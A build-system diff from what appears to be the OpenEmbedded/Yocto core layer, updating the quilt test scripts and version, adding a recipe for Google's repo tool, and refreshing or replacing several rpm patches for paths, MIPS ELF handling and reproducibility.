diff --git a/meta/recipes-devtools/quilt/quilt/run-ptest b/meta/recipes-devtools/quilt/quilt/run-ptest
index d2de5c855a..f35a756d6b 100755
--- a/meta/recipes-devtools/quilt/quilt/run-ptest
+++ b/meta/recipes-devtools/quilt/quilt/run-ptest
@@ -1,8 +1,3 @@
#!/bin/sh
-THIS_SH=/bin/sh
-ln -sf /bin/ed /usr/bin/ed
-/usr/sbin/adduser --disabled-password --gecos "" quilttest
-su -c "${THIS_SH} ./test.sh" quilttest
-/usr/sbin/deluser quilttest
-rm -f /usr/bin/ed
+su -c ./test.sh ptest
diff --git a/meta/recipes-devtools/quilt/quilt/test.sh b/meta/recipes-devtools/quilt/quilt/test.sh
index 6563e4a2fb..7dac8f4423 100755
--- a/meta/recipes-devtools/quilt/quilt/test.sh
+++ b/meta/recipes-devtools/quilt/quilt/test.sh
@@ -1 +1,24 @@
-for i in `ls test/*.test |awk -F. '{print $1}' |awk -F/ '{print $2}'`; do make check-$i; if [ $? -eq 0 ]; then echo PASS: $i.test; else echo FAIL: $i.test; fi; done
+#! /bin/sh
+
+set -e -u
+
+export LANG=C
+export LC_ALL=C
+export P=patches/
+export _P=../patches/
+export QUILTRC=$(pwd)/test/test.quiltrc
+export QUILT_PC=.pc
+export QUILT_DIR=/usr/share/quilt/
+
+# Specify on the commandline, else runs all of the tests
+TESTS=${@:-test/*.test}
+
+for FILENAME in $TESTS; do
+ TESTNAME=$(basename $FILENAME .test)
+ ./test/run $FILENAME
+ if [ $? -eq 0 ];
+ then echo PASS: $TESTNAME
+ else
+ echo FAIL: $TESTNAME
+ fi
+done
diff --git a/meta/recipes-devtools/quilt/quilt_0.66.bb b/meta/recipes-devtools/quilt/quilt_0.66.bb
deleted file mode 100644
index ff9726576e..0000000000
--- a/meta/recipes-devtools/quilt/quilt_0.66.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-require quilt.inc
-inherit gettext
diff --git a/meta/recipes-devtools/quilt/quilt_0.67.bb b/meta/recipes-devtools/quilt/quilt_0.67.bb
new file mode 100644
index 0000000000..bf9e3c720f
--- /dev/null
+++ b/meta/recipes-devtools/quilt/quilt_0.67.bb
@@ -0,0 +1,3 @@
+require quilt.inc
+inherit gettext
+
diff --git a/meta/recipes-devtools/repo/repo_2.44.bb b/meta/recipes-devtools/repo/repo_2.44.bb
new file mode 100644
index 0000000000..875897851a
--- /dev/null
+++ b/meta/recipes-devtools/repo/repo_2.44.bb
@@ -0,0 +1,30 @@
+# SPDX-License-Identifier: MIT
+# Copyright (C) 2021 iris-GmbH infrared & intelligent sensors
+
+SUMMARY = "Tool for managing many Git repositories"
+DESCRIPTION = "Repo is a tool built on top of Git. Repo helps manage many Git repositories, does the uploads to revision control systems, and automates parts of the development workflow."
+HOMEPAGE = "https://android.googlesource.com/tools/repo"
+SECTION = "console/utils"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRC_URI = "git://gerrit.googlesource.com/git-repo.git;protocol=https;branch=main \
+ "
+SRCREV = "fff1d2d74c2078b62cc9c2561330e41a842dc197"
+
+MIRRORS += "git://gerrit.googlesource.com/git-repo.git git://github.com/GerritCodeReview/git-repo.git"
+
+S = "${WORKDIR}/git"
+
+do_configure:prepend() {
+ sed -Ei "s/REPO_REV\s*=\s*('|\")stable('|\")/REPO_REV = '${SRCREV}'/g" ${S}/repo
+}
+
+do_install() {
+ install -D ${WORKDIR}/git/repo ${D}${bindir}/repo
+}
+
+RDEPENDS:${PN} = "python3 git"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/rpm/files/0001-Add-a-color-setting-for-mips64_n32-binaries.patch b/meta/recipes-devtools/rpm/files/0001-Add-a-color-setting-for-mips64_n32-binaries.patch
index ac6dcaf101..25aa69d7da 100644
--- a/meta/recipes-devtools/rpm/files/0001-Add-a-color-setting-for-mips64_n32-binaries.patch
+++ b/meta/recipes-devtools/rpm/files/0001-Add-a-color-setting-for-mips64_n32-binaries.patch
@@ -1,4 +1,4 @@
-From e3eff024826550aec4a6a5baef7210a29faf299d Mon Sep 17 00:00:00 2001
+From f4cf90b5a298d6a3199e8b4c07f520aaf593ce2b Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 9 Mar 2017 18:54:02 +0200
Subject: [PATCH] Add a color setting for mips64_n32 binaries
@@ -6,15 +6,15 @@ Subject: [PATCH] Add a color setting for mips64_n32 binaries
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
- build/rpmfc.c | 1 +
+ build/rpmfc.c | 4 ++++
rpmrc.in | 2 ++
- 2 files changed, 3 insertions(+)
+ 2 files changed, 6 insertions(+)
diff --git a/build/rpmfc.c b/build/rpmfc.c
-index d38a10916..c8e2f876a 100644
+index 4b67a9bae..ed7e4e623 100644
--- a/build/rpmfc.c
+++ b/build/rpmfc.c
-@@ -622,6 +622,7 @@ exit:
+@@ -660,6 +660,7 @@ exit:
static const struct rpmfcTokens_s rpmfcTokens[] = {
{ "directory", RPMFC_INCLUDE },
@@ -22,11 +22,21 @@ index d38a10916..c8e2f876a 100644
{ "ELF 32-bit", RPMFC_ELF32|RPMFC_INCLUDE },
{ "ELF 64-bit", RPMFC_ELF64|RPMFC_INCLUDE },
+@@ -1158,6 +1159,9 @@ static uint32_t getElfColor(const char *fn)
+ color = RPMFC_ELF32;
+ break;
+ }
++ if (ehdr.e_machine == EM_MIPS || ehdr.e_machine == EM_MIPS_RS3_LE)
++ if (ehdr.e_flags & EF_MIPS_ABI2)
++ color = RPMFC_ELFMIPSN32;
+ }
+ if (elf)
+ elf_end(elf);
diff --git a/rpmrc.in b/rpmrc.in
-index abc08fc31..f5bc820d8 100644
+index 8646a966b..7349fdfd3 100644
--- a/rpmrc.in
+++ b/rpmrc.in
-@@ -133,6 +133,8 @@ archcolor: mipsr6el 1
+@@ -142,6 +142,8 @@ archcolor: mipsr6el 1
archcolor: mips64r6 2
archcolor: mips64r6el 2
@@ -35,6 +45,3 @@ index abc08fc31..f5bc820d8 100644
archcolor: m68k 1
archcolor: m68kmint 1
---
-2.11.0
-
diff --git a/meta/recipes-devtools/rpm/files/0001-Bump-up-the-limit-of-signature-header-to-64MB.patch b/meta/recipes-devtools/rpm/files/0001-Bump-up-the-limit-of-signature-header-to-64MB.patch
deleted file mode 100644
index 0a19c12a7a..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-Bump-up-the-limit-of-signature-header-to-64MB.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From e8bf0eba7143abb6e69db82ee747a0c6790dd00a Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Wed, 3 Jun 2020 10:25:24 +0800
-Subject: [PATCH] Bump up the limit of signature header to 64MB
-
-Since commits [Place file signatures into the signature header where they
-belong][1] applied, run `rpm -Kv **.rpm' failed if signature header
-is larger than 64KB. Here are steps:
-
-1) A unsigned rpm package, the size is 227560 bytes
-$ ls -al xz-src-5.2.5-r0.corei7_64.rpm
--rw-------. 1 mockbuild 1000 227560 Jun 3 09:59
-
-2) Sign the rpm package
-$ rpmsign --addsign ... xz-src-5.2.5-r0.corei7_64.rpm
-
-3) The size of signed rpm is 312208 bytes
-$ ls -al xz-src-5.2.5-r0.corei7_64.rpm
--rw-------. 1 mockbuild 1000 312208 Jun 3 09:48
-
-4) Run `rpm -Kv' failed with signature hdr data out of range
-$ rpm -Kv xz-src-5.2.5-r0.corei7_64.rpm
-xz-src-5.2.5-r0.corei7_64.rpm:
-error: xz-src-5.2.5-r0.corei7_64.rpm: signature hdr data: BAD, no. of
-bytes(88864) out of range
-
-From 1) and 3), the size of signed rpm package increased
-312208 - 227560 = 84648, so the check of dl_max (64KB,65536)
-is not enough.
-
-As [1] said:
-
- This also means the signature header can be MUCH bigger than ever
- before,so bump up the limit (to 64MB, arbitrary something for now)
-
-So [1] missed to multiply by 1024.
-
-[1] https://github.com/rpm-software-management/rpm/commit/f558e886050c4e98f6cdde391df679a411b3f62c
-
-Upstream-Status: Backport [https://github.com/rpm-software-management/rpm/commit/486579912381ede82172dc6d0ff3941a6d0536b5]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- lib/header.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/lib/header.c b/lib/header.c
-index 9ec7ed0..cbf6890 100644
---- a/lib/header.c
-+++ b/lib/header.c
-@@ -1906,7 +1906,7 @@ rpmRC hdrblobRead(FD_t fd, int magic, int exact_size, rpmTagVal regionTag, hdrbl
-
- if (regionTag == RPMTAG_HEADERSIGNATURES) {
- il_max = 32;
-- dl_max = 64 * 1024;
-+ dl_max = 64 * 1024 * 1024;
- }
-
- memset(block, 0, sizeof(block));
---
-2.25.4
-
diff --git a/meta/recipes-devtools/rpm/files/0001-CMakeLists.txt-look-for-lua-with-pkg-config-rather-t.patch b/meta/recipes-devtools/rpm/files/0001-CMakeLists.txt-look-for-lua-with-pkg-config-rather-t.patch
new file mode 100644
index 0000000000..e4edc884b1
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0001-CMakeLists.txt-look-for-lua-with-pkg-config-rather-t.patch
@@ -0,0 +1,27 @@
+From c39a074ff3c4d21c100d387661c7d725b5eae7b0 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Wed, 29 Nov 2023 14:06:15 +0100
+Subject: [PATCH] CMakeLists.txt: look for lua with pkg-config rather than
+ cmake modules
+
+Otherwise cmake will try to find libm, badly, and fail.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 4a383ceba..ed847c09a 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -190,7 +190,7 @@ set(REQFUNCS
+ )
+
+ find_package(PkgConfig REQUIRED)
+-find_package(Lua 5.2 REQUIRED)
++pkg_check_modules(LUA REQUIRED IMPORTED_TARGET lua>=5.2)
+ find_package(ZLIB REQUIRED)
+ find_package(BZip2)
+ find_package(Iconv)
diff --git a/meta/recipes-devtools/rpm/files/0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch b/meta/recipes-devtools/rpm/files/0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch
index 4029233fb7..d0ed711086 100644
--- a/meta/recipes-devtools/rpm/files/0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch
+++ b/meta/recipes-devtools/rpm/files/0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch
@@ -1,4 +1,4 @@
-From f39c28eb52f12ae6e82db360ffd5a903ac8faca5 Mon Sep 17 00:00:00 2001
+From 86e585cc0dd06dfa20f584af8b59d52a59accb45 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 9 Jan 2017 18:52:11 +0200
Subject: [PATCH] Do not add an unsatisfiable dependency when building rpms in
@@ -9,16 +9,15 @@ hand produces rpms that way by design.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
build/pack.c | 4 ----
1 file changed, 4 deletions(-)
diff --git a/build/pack.c b/build/pack.c
-index e6cec1816..810cd7351 100644
+index f7dac6d9a..f382c7da0 100644
--- a/build/pack.c
+++ b/build/pack.c
-@@ -724,10 +724,6 @@ static rpmRC packageBinary(rpmSpec spec, Package pkg, const char *cookie, int ch
+@@ -711,10 +711,6 @@ static rpmRC packageBinary(rpmSpec spec, Package pkg, const char *cookie, int ch
headerPutBin(pkg->header, RPMTAG_SOURCEPKGID, spec->sourcePkgId,16);
}
diff --git a/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch b/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch
index 52440d6818..b571a0ae8c 100644
--- a/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch
+++ b/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch
@@ -1,4 +1,4 @@
-From 2f3d1619b6510bc131c4375827caf912559f0fa2 Mon Sep 17 00:00:00 2001
+From 73d6841d9ef2a8ac7bd63f9645a3efe8038dfdd4 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 27 Feb 2017 09:43:30 +0200
Subject: [PATCH] Do not hardcode "lib/rpm" as the installation path for
@@ -6,31 +6,29 @@ Subject: [PATCH] Do not hardcode "lib/rpm" as the installation path for
Upstream-Status: Denied [https://github.com/rpm-software-management/rpm/pull/263]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
- configure.ac | 2 +-
- macros.in | 2 +-
- rpm.am | 4 ++--
- 3 files changed, 4 insertions(+), 4 deletions(-)
+ CMakeLists.txt | 2 +-
+ macros.in | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
-diff --git a/configure.ac b/configure.ac
-index d3aeab86e..1a1f3f91f 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1086,7 +1086,7 @@ else
- usrprefix=$prefix
- fi
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 7808115c1..4a383ceba 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -33,7 +33,7 @@ option(WITH_IMAEVM "Build with IMA support" OFF)
+ option(WITH_FAPOLICYD "Build with fapolicyd support" ON)
+ option(WITH_READLINE "Build with readline support" ON)
--RPMCONFIGDIR="`echo ${usrprefix}/lib/rpm`"
-+RPMCONFIGDIR="`echo ${libdir}/rpm`"
- AC_SUBST(RPMCONFIGDIR)
+-set(RPM_CONFIGDIR "${CMAKE_INSTALL_PREFIX}/lib/rpm" CACHE PATH "rpm home")
++set(RPM_CONFIGDIR "${CMAKE_INSTALL_PREFIX}/${CMAKE_INSTALL_LIBDIR}/rpm" CACHE PATH "rpm home")
+ set(RPM_VENDOR "vendor" CACHE STRING "rpm vendor string")
- AC_SUBST(OBJDUMP)
+ # Emulate libtool versioning. Before a public release:
diff --git a/macros.in b/macros.in
-index fe9803aad..d128675bf 100644
+index b49ffaad4..3acbe78f6 100644
--- a/macros.in
+++ b/macros.in
-@@ -985,7 +985,7 @@ package or when debugging this package.\
+@@ -969,7 +969,7 @@ Supplements: (%{name} = %{version}-%{release} and langpacks-%{1})\
%_sharedstatedir %{_prefix}/com
%_localstatedir %{_prefix}/var
%_lib lib
@@ -39,20 +37,3 @@ index fe9803aad..d128675bf 100644
%_includedir %{_prefix}/include
%_infodir %{_datadir}/info
%_mandir %{_datadir}/man
-diff --git a/rpm.am b/rpm.am
-index 40b4ec55f..3139ce8f6 100644
---- a/rpm.am
-+++ b/rpm.am
-@@ -1,10 +1,10 @@
- # Internal binaries
- ## HACK: It probably should be $(libexecdir)/rpm or $(libdir)/rpm
--rpmlibexecdir = $(prefix)/lib/rpm
-+rpmlibexecdir = $(libdir)/rpm
-
- # Host independent config files
- ## HACK: it probably should be $(datadir)/rpm
--rpmconfigdir = $(prefix)/lib/rpm
-+rpmconfigdir = $(libdir)/rpm
-
- # Libtool version (current-revision-age) for all our libraries
- rpm_version_info = 9:1:0
diff --git a/meta/recipes-devtools/rpm/files/0001-Do-not-read-config-files-from-HOME.patch b/meta/recipes-devtools/rpm/files/0001-Do-not-read-config-files-from-HOME.patch
index 96eb418952..796088df53 100644
--- a/meta/recipes-devtools/rpm/files/0001-Do-not-read-config-files-from-HOME.patch
+++ b/meta/recipes-devtools/rpm/files/0001-Do-not-read-config-files-from-HOME.patch
@@ -1,4 +1,4 @@
-From 35381b6cd6c1b571bf7e6b0640de0f54dbf94386 Mon Sep 17 00:00:00 2001
+From e210458d125793915abce30420d866a30305c37a Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 10 Jan 2017 14:11:30 +0200
Subject: [PATCH] Do not read config files from $HOME
@@ -10,29 +10,26 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 2 insertions(+), 4 deletions(-)
diff --git a/lib/rpmrc.c b/lib/rpmrc.c
-index 4ed991321..19fe80f98 100644
+index 9437a0ff1..483585ae4 100644
--- a/lib/rpmrc.c
+++ b/lib/rpmrc.c
-@@ -458,8 +458,7 @@ static void setDefaults(void)
+@@ -459,8 +459,7 @@ static void setDefaults(void)
if (!defrcfiles) {
defrcfiles = rstrscat(NULL, confdir, "/rpmrc", ":",
- confdir, "/" RPMCANONVENDOR "/rpmrc", ":",
+ confdir, "/" RPM_VENDOR "/rpmrc", ":",
- SYSCONFDIR "/rpmrc", ":",
- "~/.rpmrc", NULL);
-+ SYSCONFDIR "/rpmrc", ":");
++ SYSCONFDIR "/rpmrc", NULL);
}
#ifndef MACROFILES
-@@ -471,8 +470,7 @@ static void setDefaults(void)
- confdir, "/" RPMCANONVENDOR "/macros", ":",
+@@ -472,8 +471,7 @@ static void setDefaults(void)
+ confdir, "/" RPM_VENDOR "/macros", ":",
SYSCONFDIR "/rpm/macros.*", ":",
SYSCONFDIR "/rpm/macros", ":",
- SYSCONFDIR "/rpm/%{_target}/macros", ":",
- "~/.rpmmacros", NULL);
-+ SYSCONFDIR "/rpm/%{_target}/macros", ":");
++ SYSCONFDIR "/rpm/%{_target}/macros", NULL);
}
#else
macrofiles = MACROFILES;
---
-2.11.0
-
diff --git a/meta/recipes-devtools/rpm/files/0001-Do-not-reset-the-PATH-environment-variable-before-ru.patch b/meta/recipes-devtools/rpm/files/0001-Do-not-reset-the-PATH-environment-variable-before-ru.patch
index 41cdf6ed77..328fbf86ac 100644
--- a/meta/recipes-devtools/rpm/files/0001-Do-not-reset-the-PATH-environment-variable-before-ru.patch
+++ b/meta/recipes-devtools/rpm/files/0001-Do-not-reset-the-PATH-environment-variable-before-ru.patch
@@ -1,4 +1,4 @@
-From a674b9cc7af448d7c6748bc163bf37dc14a57f09 Mon Sep 17 00:00:00 2001
+From a8fe7a7a2e41c9f127ed26407d57076babcb89e8 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 20 Jan 2017 13:32:06 +0200
Subject: [PATCH] Do not reset the PATH environment variable before running
@@ -8,16 +8,15 @@ We add lots of native stuff into it and scriptlets rely on that.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
lib/rpmscript.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/rpmscript.c b/lib/rpmscript.c
-index 6a31e0d..2b0e438 100644
+index 57689bb68..7b7e26606 100644
--- a/lib/rpmscript.c
+++ b/lib/rpmscript.c
-@@ -184,7 +184,7 @@ static void doScriptExec(ARGV_const_t argv, ARGV_const_t prefixes,
+@@ -252,7 +252,7 @@ static void doScriptExec(ARGV_const_t argv, ARGV_const_t prefixes,
if (ipath && ipath[5] != '%')
path = ipath;
diff --git a/meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch b/meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch
deleted file mode 100644
index 0b1d6298a9..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From d076de030deb9cafd9b2e82be5d506cebdefad0b Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 27 Feb 2017 14:43:21 +0200
-Subject: [PATCH 1/9] Fix build with musl C library.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- configure.ac | 3 ++-
- rpmio/digest_nss.c | 1 +
- 2 files changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index c04a2e8d1..c9d9ac16d 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -255,6 +255,7 @@ AC_SEARCH_LIBS(dlopen, [dl])
- # Check for libelf library. Prefer external, otherwise none.
- WITH_LIBELF_LIB=
- AC_CHECK_HEADER([libelf.h])
-+AC_CHECK_HEADERS([error.h], [WITH_ERROR_H=yes])
- AC_CHECK_HEADERS([gelf.h], [
- AC_CHECK_LIB(elf, gelf_getvernaux, [
- AC_DEFINE(HAVE_LIBELF, 1, [Define to 1 if you have the 'elf' library (-lelf).])
-@@ -263,7 +264,7 @@ AC_CHECK_HEADERS([gelf.h], [
- ])
- ])
- AC_SUBST(WITH_LIBELF_LIB)
--AM_CONDITIONAL(LIBELF,[test "$WITH_LIBELF" = yes])
-+AM_CONDITIONAL(LIBELF,[test "$WITH_LIBELF" = yes && test "$WITH_ERROR_H" = yes])
-
- AC_CHECK_HEADERS([dwarf.h], [
- WITH_LIBDWARF=yes
-diff --git a/rpmio/digest_nss.c b/rpmio/digest_nss.c
-index 992d9acf6..e11920e3e 100644
---- a/rpmio/digest_nss.c
-+++ b/rpmio/digest_nss.c
-@@ -1,5 +1,6 @@
- #include "system.h"
-
-+#include <signal.h>
- #include <pthread.h>
- #include <nss.h>
- #include <sechash.h>
---
-2.14.2
-
diff --git a/meta/recipes-devtools/rpm/files/0001-Rip-out-partial-support-for-unused-MD2-and-RIPEMD160.patch b/meta/recipes-devtools/rpm/files/0001-Rip-out-partial-support-for-unused-MD2-and-RIPEMD160.patch
deleted file mode 100644
index 734e38bb39..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-Rip-out-partial-support-for-unused-MD2-and-RIPEMD160.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-From 2d53d1e308a5bd15a16cc289fa7e1f264ea706be Mon Sep 17 00:00:00 2001
-From: Panu Matilainen <pmatilai@redhat.com>
-Date: Tue, 26 Jun 2018 10:46:14 +0300
-Subject: [PATCH] Rip out partial support for unused MD2 and RIPEMD160 digests
-
-Inspired by #453, adding configure-checks for unused digests algorithms
-seems nonsensical, at no point in rpm history have these algorithms been
-used for anything in rpm so there's not even backward compatibility to
-care about. So the question becomes why do we appear to have (some)
-support for those unused algorithms? So lets don't, problem solved...
-
-Upstream-Status: Backport [https://github.com/rpm-software-management/rpm/commit/ff4b9111aeba01dd025dd133ce617fb80f7398a0]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- rpmio/digest_beecrypt.c | 7 -------
- rpmio/digest_nss.c | 2 --
- rpmio/digest_openssl.c | 6 ------
- 3 files changed, 15 deletions(-)
-
-diff --git a/rpmio/digest_beecrypt.c b/rpmio/digest_beecrypt.c
-index 597027e25..653a39491 100644
---- a/rpmio/digest_beecrypt.c
-+++ b/rpmio/digest_beecrypt.c
-@@ -132,10 +132,6 @@ DIGEST_CTX rpmDigestInit(int hashalgo, rpmDigestFlags flags)
- ctx->Digest = (void *) sha512Digest;
- break;
- #endif
-- case PGPHASHALGO_RIPEMD160:
-- case PGPHASHALGO_MD2:
-- case PGPHASHALGO_TIGER192:
-- case PGPHASHALGO_HAVAL_5_160:
- default:
- free(ctx);
- return NULL;
-@@ -292,9 +288,6 @@ static int pgpVerifySigRSA(pgpDigAlg pgpkey, pgpDigAlg pgpsig, uint8_t *hash, si
- case PGPHASHALGO_SHA1:
- prefix = "3021300906052b0e03021a05000414";
- break;
-- case PGPHASHALGO_MD2:
-- prefix = "3020300c06082a864886f70d020205000410";
-- break;
- case PGPHASHALGO_SHA256:
- prefix = "3031300d060960864801650304020105000420";
- break;
-diff --git a/rpmio/digest_nss.c b/rpmio/digest_nss.c
-index e11920e3e..b3d2b5595 100644
---- a/rpmio/digest_nss.c
-+++ b/rpmio/digest_nss.c
-@@ -117,7 +117,6 @@ static HASH_HashType getHashType(int hashalgo)
- {
- switch (hashalgo) {
- case PGPHASHALGO_MD5: return HASH_AlgMD5;
-- case PGPHASHALGO_MD2: return HASH_AlgMD2;
- case PGPHASHALGO_SHA1: return HASH_AlgSHA1;
- #ifdef SHA224_LENGTH
- case PGPHASHALGO_SHA224: return HASH_AlgSHA224;
-@@ -217,7 +216,6 @@ static SECOidTag getHashAlg(unsigned int hashalgo)
- {
- switch (hashalgo) {
- case PGPHASHALGO_MD5: return SEC_OID_MD5;
-- case PGPHASHALGO_MD2: return SEC_OID_MD2;
- case PGPHASHALGO_SHA1: return SEC_OID_SHA1;
- #ifdef SHA224_LENGTH
- case PGPHASHALGO_SHA224: return SEC_OID_SHA224;
-diff --git a/rpmio/digest_openssl.c b/rpmio/digest_openssl.c
-index 18e52a724..0ae48dd1d 100644
---- a/rpmio/digest_openssl.c
-+++ b/rpmio/digest_openssl.c
-@@ -172,12 +172,6 @@ static const EVP_MD *getEVPMD(int hashalgo)
- case PGPHASHALGO_SHA1:
- return EVP_sha1();
-
-- case PGPHASHALGO_RIPEMD160:
-- return EVP_ripemd160();
--
-- case PGPHASHALGO_MD2:
-- return EVP_md2();
--
- case PGPHASHALGO_SHA256:
- return EVP_sha256();
-
diff --git a/meta/recipes-devtools/rpm/files/0001-When-cross-installing-execute-package-scriptlets-wit.patch b/meta/recipes-devtools/rpm/files/0001-When-cross-installing-execute-package-scriptlets-wit.patch
index 4020a31092..e4251a1a73 100644
--- a/meta/recipes-devtools/rpm/files/0001-When-cross-installing-execute-package-scriptlets-wit.patch
+++ b/meta/recipes-devtools/rpm/files/0001-When-cross-installing-execute-package-scriptlets-wit.patch
@@ -1,4 +1,4 @@
-From a89daa75ac970d8e247edc762d1181e9a5b0c5d0 Mon Sep 17 00:00:00 2001
+From 34c0d3263f3e0b366a2320e0823f46673f7ba928 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 17 Jan 2017 14:07:17 +0200
Subject: [PATCH] When cross-installing, execute package scriptlets without
@@ -29,10 +29,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 8 insertions(+), 3 deletions(-)
diff --git a/lib/rpmscript.c b/lib/rpmscript.c
-index cc98c4885..f8bd3df04 100644
+index 3f6313278..57689bb68 100644
--- a/lib/rpmscript.c
+++ b/lib/rpmscript.c
-@@ -394,8 +394,7 @@ exit:
+@@ -448,8 +448,7 @@ exit:
Fclose(out); /* XXX dup'd STDOUT_FILENO */
if (fn) {
@@ -42,21 +42,18 @@ index cc98c4885..f8bd3df04 100644
free(fn);
}
free(mline);
-@@ -428,7 +427,13 @@ rpmRC rpmScriptRun(rpmScript script, int arg1, int arg2, FD_t scriptFd,
+@@ -483,7 +482,13 @@ rpmRC rpmScriptRun(rpmScript script, int arg1, int arg2, FD_t scriptFd,
if (rc != RPMRC_FAIL) {
if (script_type & RPMSCRIPTLET_EXEC) {
-- rc = runExtScript(plugins, prefixes, script->descr, lvl, scriptFd, &args, script->body, arg1, arg2, &script->nextFileFunc);
+- rc = runExtScript(plugins, prefixes, script->descr, lvl, scriptFd, &args, script->body, arg1, arg2, script->nextFileFunc);
+ if (getenv("RPM_NO_CHROOT_FOR_SCRIPTS") != NULL) {
+ rpmChrootOut();
-+ rc = runExtScript(plugins, prefixes, script->descr, lvl, scriptFd, &args, script->body, arg1, arg2, &script->nextFileFunc);
++ rc = runExtScript(plugins, prefixes, script->descr, lvl, scriptFd, &args, script->body, arg1, arg2, script->nextFileFunc);
+ rpmChrootIn();
+ } else {
-+ rc = runExtScript(plugins, prefixes, script->descr, lvl, scriptFd, &args, script->body, arg1, arg2, &script->nextFileFunc);
++ rc = runExtScript(plugins, prefixes, script->descr, lvl, scriptFd, &args, script->body, arg1, arg2, script->nextFileFunc);
+ }
} else {
- rc = runLuaScript(plugins, prefixes, script->descr, lvl, scriptFd, &args, script->body, arg1, arg2, &script->nextFileFunc);
+ rc = runLuaScript(plugins, prefixes, script->descr, lvl, scriptFd, &args, script->body, arg1, arg2, script->nextFileFunc);
}
---
-2.11.0
-
diff --git a/meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch b/meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch
new file mode 100644
index 0000000000..2f6397aa8a
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch
@@ -0,0 +1,28 @@
+From ae4fdd8e8d052835973e6ff4b7550f93bde30a98 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 31 Aug 2021 10:37:05 +0200
+Subject: [PATCH] build/pack.c: do not insert payloadflags into .rpm metadata
+
+The flags look like '19T56' where 19 is the compression level
+(deterministic), and 56 is the amount of threads (varies from one
+host to the next and breaks reproducibility for .rpm).
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ build/pack.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/build/pack.c b/build/pack.c
+index f382c7da0..0889dd993 100644
+--- a/build/pack.c
++++ b/build/pack.c
+@@ -330,7 +330,7 @@ static char *getIOFlags(Package pkg)
+ headerPutString(pkg->header, RPMTAG_PAYLOADCOMPRESSOR, compr);
+ buf = xstrdup(rpmio_flags);
+ buf[s - rpmio_flags] = '\0';
+- headerPutString(pkg->header, RPMTAG_PAYLOADFLAGS, buf+1);
++ headerPutString(pkg->header, RPMTAG_PAYLOADFLAGS, "");
+ free(buf);
+ }
+ exit:
